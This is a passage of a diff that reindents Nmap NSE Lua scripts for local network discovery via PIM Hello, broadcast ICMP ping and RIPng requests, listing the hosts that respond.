hello_raw = hello_raw.. bin.pack(">C", 0x00)
|
||||
-- Checksum: Calculated later
|
||||
hello_raw = hello_raw.. bin.pack(">S", 0x0000)
|
||||
-- Options (TLVs)
|
||||
-- Hold time 1 second
|
||||
hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01)
|
||||
-- Generation ID: Random
|
||||
hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456))
|
||||
-- DR Priority: 1
|
||||
hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01)
|
||||
-- State fresh capable: Version = 1, interval = 0, Reserved
|
||||
hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00)
|
||||
-- Calculate checksum
|
||||
hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
|
||||
|
||||
return hello_raw
|
||||
return hello_raw
|
||||
end
|
||||
|
||||
-- Sends a PIM Hello message.
|
||||
--@param interface Network interface to use.
|
||||
--@param dstip Destination IP to which send the Hello.
|
||||
local helloQuery = function(interface, dstip)
|
||||
local hello_packet, sock, eth_hdr
|
||||
local srcip = interface.address
|
||||
local hello_packet, sock, eth_hdr
|
||||
local srcip = interface.address
|
||||
|
||||
local hello_raw = helloRaw()
|
||||
local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
|
||||
hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
|
||||
hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
|
||||
hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
|
||||
hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
|
||||
local hello_raw = helloRaw()
|
||||
local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
|
||||
hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
|
||||
hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
|
||||
hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
|
||||
hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
|
||||
|
||||
sock = nmap.new_dnet()
|
||||
sock:ethernet_open(interface.device)
|
||||
-- Ethernet multicast for PIM, our ethernet address and packet type IP
|
||||
eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800)
|
||||
sock:ethernet_send(eth_hdr .. hello_packet.buf)
|
||||
sock:ethernet_close()
|
||||
sock = nmap.new_dnet()
|
||||
sock:ethernet_open(interface.device)
|
||||
-- Ethernet multicast for PIM, our ethernet address and packet type IP
|
||||
eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800)
|
||||
sock:ethernet_send(eth_hdr .. hello_packet.buf)
|
||||
sock:ethernet_close()
|
||||
end
|
||||
|
||||
-- Listens for PIM Hello messages.
|
||||
@@ -103,90 +103,90 @@ end
|
||||
--@param timeout Time to listen for a response.
|
||||
--@param responses table to insert responders' IPs into.
|
||||
local helloListen = function(interface, timeout, responses)
|
||||
local condvar = nmap.condvar(responses)
|
||||
local start = nmap.clock_ms()
|
||||
local listener = nmap.new_socket()
|
||||
local p, hello_raw, status, l3data, _
|
||||
local condvar = nmap.condvar(responses)
|
||||
local start = nmap.clock_ms()
|
||||
local listener = nmap.new_socket()
|
||||
local p, hello_raw, status, l3data, _
|
||||
|
||||
-- PIM packets that are sent to 224.0.0.13 and not coming from our host
|
||||
local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
|
||||
listener:set_timeout(100)
|
||||
listener:pcap_open(interface.device, 1024, true, filter)
|
||||
-- PIM packets that are sent to 224.0.0.13 and not coming from our host
|
||||
local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
|
||||
listener:set_timeout(100)
|
||||
listener:pcap_open(interface.device, 1024, true, filter)
|
||||
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, _, _, l3data = listener:pcap_receive()
|
||||
if status then
|
||||
p = packet.Packet:new(l3data, #l3data)
|
||||
hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
|
||||
-- Check that PIM Type is Hello
|
||||
if p and hello_raw:byte(1) == 0x20 then
|
||||
table.insert(responses, p.ip_src)
|
||||
end
|
||||
end
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, _, _, l3data = listener:pcap_receive()
|
||||
if status then
|
||||
p = packet.Packet:new(l3data, #l3data)
|
||||
hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
|
||||
-- Check that PIM Type is Hello
|
||||
if p and hello_raw:byte(1) == 0x20 then
|
||||
table.insert(responses, p.ip_src)
|
||||
end
|
||||
end
|
||||
condvar("signal")
|
||||
end
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
--- Returns the network interface used to send packets to the destination host.
|
||||
--@param destination host to which the interface is used.
|
||||
--@return interface Network interface used for destination host.
|
||||
local getInterface = function(destination)
|
||||
-- First, create dummy UDP connection to get interface
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(destination, "12345", "udp")
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
local status, address, _, _, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
for _, interface in pairs(nmap.list_interfaces()) do
|
||||
if interface.address == address then
|
||||
return interface
|
||||
end
|
||||
-- First, create dummy UDP connection to get interface
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(destination, "12345", "udp")
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
local status, address, _, _, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
for _, interface in pairs(nmap.list_interfaces()) do
|
||||
if interface.address == address then
|
||||
return interface
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
local responses = {}
|
||||
timeout = (timeout or 5) * 1000
|
||||
local mcast = "224.0.0.13"
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
local responses = {}
|
||||
timeout = (timeout or 5) * 1000
|
||||
local mcast = "224.0.0.13"
|
||||
|
||||
-- Get the network interface to use
|
||||
local interface = nmap.get_interface()
|
||||
if interface then
|
||||
interface = nmap.get_interface_info(interface)
|
||||
-- Get the network interface to use
|
||||
local interface = nmap.get_interface()
|
||||
if interface then
|
||||
interface = nmap.get_interface_info(interface)
|
||||
else
|
||||
interface = getInterface(mcast)
|
||||
end
|
||||
if not interface then
|
||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
||||
end
|
||||
|
||||
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
|
||||
|
||||
-- Launch listener
|
||||
stdnse.new_thread(helloListen, interface, timeout, responses)
|
||||
|
||||
-- Send Hello after small sleep so the listener doesn't miss any responses
|
||||
stdnse.sleep(0.1)
|
||||
helloQuery(interface, mcast)
|
||||
local condvar = nmap.condvar(responses)
|
||||
condvar("wait")
|
||||
|
||||
if #responses > 0 then
|
||||
table.sort(responses)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
for _, response in pairs(responses) do
|
||||
target.add(response)
|
||||
end
|
||||
else
|
||||
interface = getInterface(mcast)
|
||||
end
|
||||
if not interface then
|
||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
||||
end
|
||||
|
||||
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
|
||||
|
||||
-- Launch listener
|
||||
stdnse.new_thread(helloListen, interface, timeout, responses)
|
||||
|
||||
-- Send Hello after small sleep so the listener doesn't miss any responses
|
||||
stdnse.sleep(0.1)
|
||||
helloQuery(interface, mcast)
|
||||
local condvar = nmap.condvar(responses)
|
||||
condvar("wait")
|
||||
|
||||
if #responses > 0 then
|
||||
table.sort(responses)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
for _, response in pairs(responses) do
|
||||
target.add(response)
|
||||
end
|
||||
else
|
||||
table.insert(responses,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, responses)
|
||||
table.insert(responses,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, responses)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -60,21 +60,21 @@ categories = {"discovery","safe","broadcast"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
end
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
return nil
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
end
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
return nil
|
||||
end
|
||||
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
@@ -85,195 +85,195 @@ end
|
||||
-- @param ttl number containing value for the TTL (time to live) field in IP header
|
||||
-- @param data_length number value of ICMP payload length
|
||||
local icmp_packet = function(srcIP, dstIP, ttl, data_length, mtu, seqNo, icmp_id)
|
||||
-- A couple of checks first
|
||||
assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
|
||||
assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
|
||||
-- MTU values should be considered here!
|
||||
assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
|
||||
-- A couple of checks first
|
||||
assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
|
||||
assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
|
||||
-- MTU values should be considered here!
|
||||
assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
|
||||
|
||||
-- ICMP Message
|
||||
local icmp_payload = nil
|
||||
if data_length and data_length>0 then
|
||||
icmp_payload = openssl.rand_bytes(data_length)
|
||||
else
|
||||
icmp_payload = ""
|
||||
end
|
||||
-- ICMP Message
|
||||
local icmp_payload = nil
|
||||
if data_length and data_length>0 then
|
||||
icmp_payload = openssl.rand_bytes(data_length)
|
||||
else
|
||||
icmp_payload = ""
|
||||
end
|
||||
|
||||
local seqNo_hex = stdnse.tohex(seqNo)
|
||||
local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex)
|
||||
local seqNo_hex = stdnse.tohex(seqNo)
|
||||
local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex)
|
||||
|
||||
-- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
|
||||
local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload)
|
||||
-- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
|
||||
local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload)
|
||||
|
||||
local icmp_checksum = packet.in_cksum(icmp_tmp)
|
||||
local icmp_checksum = packet.in_cksum(icmp_tmp)
|
||||
|
||||
local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload)
|
||||
local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload)
|
||||
|
||||
|
||||
--IP Total Length
|
||||
local length_hex = stdnse.tohex(20 + #icmp_msg)
|
||||
local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex)
|
||||
--IP Total Length
|
||||
local length_hex = stdnse.tohex(20 + #icmp_msg)
|
||||
local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex)
|
||||
|
||||
--TTL
|
||||
local ttl_hex = stdnse.tohex(ttl)
|
||||
local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex)
|
||||
--TTL
|
||||
local ttl_hex = stdnse.tohex(ttl)
|
||||
local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex)
|
||||
|
||||
--IP header
|
||||
local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl,
|
||||
"01 0000 0000 0000 0000 0000")
|
||||
--IP header
|
||||
local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl,
|
||||
"01 0000 0000 0000 0000 0000")
|
||||
|
||||
-- IP+ICMP; Addresses and checksum need to be filled
|
||||
local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg)
|
||||
-- IP+ICMP; Addresses and checksum need to be filled
|
||||
local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg)
|
||||
|
||||
--Packet
|
||||
local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
|
||||
assert(icmp,"Mistake during ICMP packet parsing")
|
||||
--Packet
|
||||
local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
|
||||
assert(icmp,"Mistake during ICMP packet parsing")
|
||||
|
||||
icmp:ip_set_bin_src(packet.iptobin(srcIP))
|
||||
icmp:ip_set_bin_dst(packet.iptobin(dstIP))
|
||||
icmp:ip_count_checksum()
|
||||
icmp:ip_set_bin_src(packet.iptobin(srcIP))
|
||||
icmp:ip_set_bin_dst(packet.iptobin(dstIP))
|
||||
icmp:ip_count_checksum()
|
||||
|
||||
return icmp
|
||||
return icmp
|
||||
end
|
||||
|
||||
local broadcast_if = function(if_table,icmp_responders)
|
||||
local condvar = nmap.condvar(icmp_responders)
|
||||
local condvar = nmap.condvar(icmp_responders)
|
||||
|
||||
local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
|
||||
local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
|
||||
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
timeout = (timeout or 3) * 1000
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
timeout = (timeout or 3) * 1000
|
||||
|
||||
local ttl = nmap.get_ttl()
|
||||
local ttl = nmap.get_ttl()
|
||||
|
||||
local data_length = nmap.get_payload_length()
|
||||
local sequence_number = 1
|
||||
local destination_IP = "255.255.255.255"
|
||||
local data_length = nmap.get_payload_length()
|
||||
local sequence_number = 1
|
||||
local destination_IP = "255.255.255.255"
|
||||
|
||||
-- raw IPv4 socket
|
||||
local dnet = nmap.new_dnet()
|
||||
local try = nmap.new_try()
|
||||
try = nmap.new_try(function() dnet:ethernet_close() end)
|
||||
-- raw IPv4 socket
|
||||
local dnet = nmap.new_dnet()
|
||||
local try = nmap.new_try()
|
||||
try = nmap.new_try(function() dnet:ethernet_close() end)
|
||||
|
||||
-- raw sniffing socket (icmp echoreply style)
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:set_timeout(timeout)
|
||||
-- raw sniffing socket (icmp echoreply style)
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:set_timeout(timeout)
|
||||
|
||||
local mtu = if_table.mtu or 256 -- 256 is minimal mtu
|
||||
local mtu = if_table.mtu or 256 -- 256 is minimal mtu
|
||||
|
||||
pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
|
||||
" and icmp[icmptype]==icmp-echoreply")
|
||||
try(dnet:ethernet_open(if_table.device))
|
||||
pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
|
||||
" and icmp[icmptype]==icmp-echoreply")
|
||||
try(dnet:ethernet_open(if_table.device))
|
||||
|
||||
local source_IP = if_table.address
|
||||
local source_IP = if_table.address
|
||||
|
||||
local icmp_ids = {}
|
||||
local icmp_ids = {}
|
||||
|
||||
for i = 1, num_probes do
|
||||
-- ICMP packet
|
||||
local icmp_id = openssl.rand_bytes(2)
|
||||
icmp_ids[icmp_id]=true
|
||||
local icmp = icmp_packet( source_IP, destination_IP, ttl,
|
||||
data_length, mtu, sequence_number, icmp_id)
|
||||
for i = 1, num_probes do
|
||||
-- ICMP packet
|
||||
local icmp_id = openssl.rand_bytes(2)
|
||||
icmp_ids[icmp_id]=true
|
||||
local icmp = icmp_packet( source_IP, destination_IP, ttl,
|
||||
data_length, mtu, sequence_number, icmp_id)
|
||||
|
||||
local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf)
|
||||
local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf)
|
||||
|
||||
try( dnet:ethernet_send(ethernet_icmp) )
|
||||
end
|
||||
try( dnet:ethernet_send(ethernet_icmp) )
|
||||
end
|
||||
|
||||
while true do
|
||||
local status, plen, l2, l3data, _ = pcap:pcap_receive()
|
||||
if not status then break end
|
||||
while true do
|
||||
local status, plen, l2, l3data, _ = pcap:pcap_receive()
|
||||
if not status then break end
|
||||
|
||||
-- Do stuff with packet
|
||||
local icmpreply = packet.Packet:new(l3data,plen,false)
|
||||
-- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
|
||||
-- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
|
||||
local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
|
||||
if icmpreply:ip_parse() and icmp_ids[icmp_id] then
|
||||
if not icmp_responders[icmpreply.ip_src] then
|
||||
-- [key = IP]=MAC
|
||||
local mac_pretty = stdnse.format_mac(l2:sub(7,12))
|
||||
icmp_responders[icmpreply.ip_src] = mac_pretty
|
||||
end
|
||||
else
|
||||
stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.")
|
||||
end
|
||||
end
|
||||
-- Do stuff with packet
|
||||
local icmpreply = packet.Packet:new(l3data,plen,false)
|
||||
-- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
|
||||
-- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
|
||||
local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
|
||||
if icmpreply:ip_parse() and icmp_ids[icmp_id] then
|
||||
if not icmp_responders[icmpreply.ip_src] then
|
||||
-- [key = IP]=MAC
|
||||
local mac_pretty = stdnse.format_mac(l2:sub(7,12))
|
||||
icmp_responders[icmpreply.ip_src] = mac_pretty
|
||||
end
|
||||
else
|
||||
stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.")
|
||||
end
|
||||
end
|
||||
|
||||
pcap:close()
|
||||
dnet:ethernet_close()
|
||||
pcap:close()
|
||||
dnet:ethernet_close()
|
||||
|
||||
condvar "signal"
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
|
||||
--get interface script-args, if any
|
||||
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
local interface_opt = nmap.get_interface()
|
||||
--get interface script-args, if any
|
||||
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
local interface_opt = nmap.get_interface()
|
||||
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces ={}
|
||||
if interface_opt or interface_arg then
|
||||
-- single interface defined
|
||||
local interface = interface_opt or interface_arg
|
||||
local if_table = nmap.get_interface_info(interface)
|
||||
if not if_table or not if_table.address or not if_table.link=="ethernet" then
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
return false
|
||||
end
|
||||
table.insert(interfaces, if_table)
|
||||
else
|
||||
local tmp_ifaces = nmap.list_interfaces()
|
||||
for _, if_table in ipairs(tmp_ifaces) do
|
||||
if if_table.address and
|
||||
if_table.link=="ethernet" and
|
||||
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces ={}
|
||||
if interface_opt or interface_arg then
|
||||
-- single interface defined
|
||||
local interface = interface_opt or interface_arg
|
||||
local if_table = nmap.get_interface_info(interface)
|
||||
if not if_table or not if_table.address or not if_table.link=="ethernet" then
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
return false
|
||||
end
|
||||
table.insert(interfaces, if_table)
|
||||
else
|
||||
local tmp_ifaces = nmap.list_interfaces()
|
||||
for _, if_table in ipairs(tmp_ifaces) do
|
||||
if if_table.address and
|
||||
if_table.link=="ethernet" and
|
||||
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if #interfaces == 0 then
|
||||
stdnse.print_debug("No interfaces found.")
|
||||
return
|
||||
end
|
||||
if #interfaces == 0 then
|
||||
stdnse.print_debug("No interfaces found.")
|
||||
return
|
||||
end
|
||||
|
||||
local icmp_responders={}
|
||||
local threads ={}
|
||||
local condvar = nmap.condvar(icmp_responders)
|
||||
local icmp_responders={}
|
||||
local threads ={}
|
||||
local condvar = nmap.condvar(icmp_responders)
|
||||
|
||||
-- party time
|
||||
for _, if_table in ipairs(interfaces) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
|
||||
threads[co]=true
|
||||
end
|
||||
-- party time
|
||||
for _, if_table in ipairs(interfaces) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
|
||||
threads[co]=true
|
||||
end
|
||||
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
-- generate output
|
||||
local output = tab.new()
|
||||
for ip_addr, mac_addr in pairs(icmp_responders) do
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(ip_addr)
|
||||
end
|
||||
tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
|
||||
end
|
||||
if #output > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
-- generate output
|
||||
local output = tab.new()
|
||||
for ip_addr, mac_addr in pairs(icmp_responders) do
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(ip_addr)
|
||||
end
|
||||
tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
|
||||
end
|
||||
if #output > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -34,117 +34,117 @@ prerule = function() return ( nmap.address_family() == "inet6" ) end
|
||||
|
||||
RIPng = {
|
||||
|
||||
-- Supported RIPng commands
|
||||
Command = {
|
||||
Request = 1,
|
||||
Response = 2,
|
||||
},
|
||||
-- Supported RIPng commands
|
||||
Command = {
|
||||
Request = 1,
|
||||
Response = 2,
|
||||
},
|
||||
|
||||
-- Route table entry
|
||||
RTE = {
|
||||
-- Route table entry
|
||||
RTE = {
|
||||
|
||||
-- Creates a new Route Table Entry
|
||||
-- @param prefix string containing the ipv6 route prefix
|
||||
-- @param tag number containing the route tag
|
||||
-- @param prefix_len number containing the length in bits of the
|
||||
-- signifcant part of the prefix
|
||||
-- @param metric number containing the current metric for the
|
||||
-- destination
|
||||
new = function(self, prefix, tag, prefix_len, metric)
|
||||
local o = {
|
||||
prefix = prefix,
|
||||
tag = tag,
|
||||
prefix_len = prefix_len,
|
||||
metric = metric
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new Route Table Entry
|
||||
-- @param prefix string containing the ipv6 route prefix
|
||||
-- @param tag number containing the route tag
|
||||
-- @param prefix_len number containing the length in bits of the
|
||||
-- signifcant part of the prefix
|
||||
-- @param metric number containing the current metric for the
|
||||
-- destination
|
||||
new = function(self, prefix, tag, prefix_len, metric)
|
||||
local o = {
|
||||
prefix = prefix,
|
||||
tag = tag,
|
||||
prefix_len = prefix_len,
|
||||
metric = metric
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Parses a byte string and creates an instance of RTE
|
||||
-- @param data string of bytes
|
||||
-- @return rte instance of RTE
|
||||
parse = function(data)
|
||||
local rte = RIPng.RTE:new()
|
||||
local pos, ip
|
||||
-- Parses a byte string and creates an instance of RTE
|
||||
-- @param data string of bytes
|
||||
-- @return rte instance of RTE
|
||||
parse = function(data)
|
||||
local rte = RIPng.RTE:new()
|
||||
local pos, ip
|
||||
|
||||
pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data)
|
||||
ip = select(2, bin.unpack("B" .. #ip, ip))
|
||||
rte.prefix = ipOps.bin_to_ip(ip)
|
||||
return rte
|
||||
end,
|
||||
pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data)
|
||||
ip = select(2, bin.unpack("B" .. #ip, ip))
|
||||
rte.prefix = ipOps.bin_to_ip(ip)
|
||||
return rte
|
||||
end,
|
||||
|
||||
-- Converts a RTE instance to string
|
||||
-- @return string of bytes to send to the server
|
||||
__tostring = function(self)
|
||||
local ipstr = ipOps.ip_to_str(self.prefix)
|
||||
assert(16 == #ipstr, "Invalid IPv6 address encountered")
|
||||
return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric)
|
||||
end,
|
||||
-- Converts a RTE instance to string
|
||||
-- @return string of bytes to send to the server
|
||||
__tostring = function(self)
|
||||
local ipstr = ipOps.ip_to_str(self.prefix)
|
||||
assert(16 == #ipstr, "Invalid IPv6 address encountered")
|
||||
return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric)
|
||||
end,
|
||||
|
||||
|
||||
},
|
||||
},
|
||||
|
||||
-- The Request class contains functions to build a RIPv2 Request
|
||||
Request = {
|
||||
-- The Request class contains functions to build a RIPv2 Request
|
||||
Request = {
|
||||
|
||||
-- Creates a new Request instance
|
||||
--
|
||||
-- @param command number containing the RIPv2 Command to use
|
||||
-- @return o instance of request
|
||||
new = function(self, entries)
|
||||
local o = {
|
||||
command = 1,
|
||||
version = 1,
|
||||
entries = entries,
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new Request instance
|
||||
--
|
||||
-- @param command number containing the RIPv2 Command to use
|
||||
-- @return o instance of request
|
||||
new = function(self, entries)
|
||||
local o = {
|
||||
command = 1,
|
||||
version = 1,
|
||||
entries = entries,
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Converts the whole request to a string
|
||||
__tostring = function(self)
|
||||
local RESERVED = 0
|
||||
local str = bin.pack(">CCS", self.command, self.version, RESERVED)
|
||||
for _, rte in ipairs(self.entries) do
|
||||
str = str .. tostring(rte)
|
||||
end
|
||||
return str
|
||||
end,
|
||||
-- Converts the whole request to a string
|
||||
__tostring = function(self)
|
||||
local RESERVED = 0
|
||||
local str = bin.pack(">CCS", self.command, self.version, RESERVED)
|
||||
for _, rte in ipairs(self.entries) do
|
||||
str = str .. tostring(rte)
|
||||
end
|
||||
return str
|
||||
end,
|
||||
|
||||
},
|
||||
},
|
||||
|
||||
-- A RIPng Response
|
||||
Response = {
|
||||
-- A RIPng Response
|
||||
Response = {
|
||||
|
||||
-- Creates a new Response instance
|
||||
-- @return o new instance of Response
|
||||
new = function(self)
|
||||
local o = { }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new Response instance
|
||||
-- @return o new instance of Response
|
||||
new = function(self)
|
||||
local o = { }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Creates a new Response instance based on a string of bytes
|
||||
-- @return resp new instance of Response
|
||||
parse = function(data)
|
||||
